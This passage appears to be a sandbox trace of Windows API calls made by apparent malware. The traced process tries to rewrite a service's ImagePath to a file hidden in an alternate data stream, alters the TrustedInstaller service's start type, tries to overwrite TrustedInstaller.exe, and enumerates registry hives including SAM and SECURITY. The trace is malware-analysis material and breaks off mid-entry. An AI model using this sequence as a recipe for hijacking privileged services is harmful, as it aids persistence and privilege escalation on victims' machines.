RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.972] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1a48, cbData=0x6) returned 0x6 [0232.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.972] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1a48, cbData=0x1) returned 0x6 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.972] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.973] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.973] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.973] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.973] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.973] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.973] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.973] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1928, cbData=0x1) returned 0x6 [0232.973] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0232.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0232.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0232.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0232.973] LocalFree (hMem=0x7f03d0) returned 0x0 [0232.973] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1a90, cbData=0x2f) returned 0x6 [0232.973] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0232.974] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0232.975] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0232.975] RegCloseKey (hKey=0x150) returned 0x0 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0232.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0232.975] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0232.975] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.976] GetLastError () returned 0x5 [0232.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0232.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0232.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0232.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0232.979] NtClose (Handle=0x150) returned 0x0 [0232.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0232.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0232.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0233.517] NtClose (Handle=0x150) returned 0x0 [0233.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0233.517] NtClose (Handle=0x14c) returned 0x0 [0233.518] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x2710) returned 0x0 [0233.681] NtClose (Handle=0xc4) returned 0x0 [0233.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0233.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0233.681] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0233.681] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.681] GetLastError () returned 0x5 [0233.681] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0233.682] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0233.682] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0233.682] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0233.682] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0233.682] GetLastError () returned 0x426 [0233.682] CloseServiceHandle (hSCObject=0x803990) returned 1 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0233.683] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0233.683] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.683] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0233.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.683] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0233.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0233.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0233.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.684] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0233.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0233.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.684] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0233.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0233.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.684] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0233.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0233.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.685] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0233.685] RegCloseKey (hKey=0x80000002) returned 0x0 [0233.685] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0233.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0233.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0233.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.685] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0233.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0233.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0233.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.685] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.686] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.686] RegEnumKeyW (in: 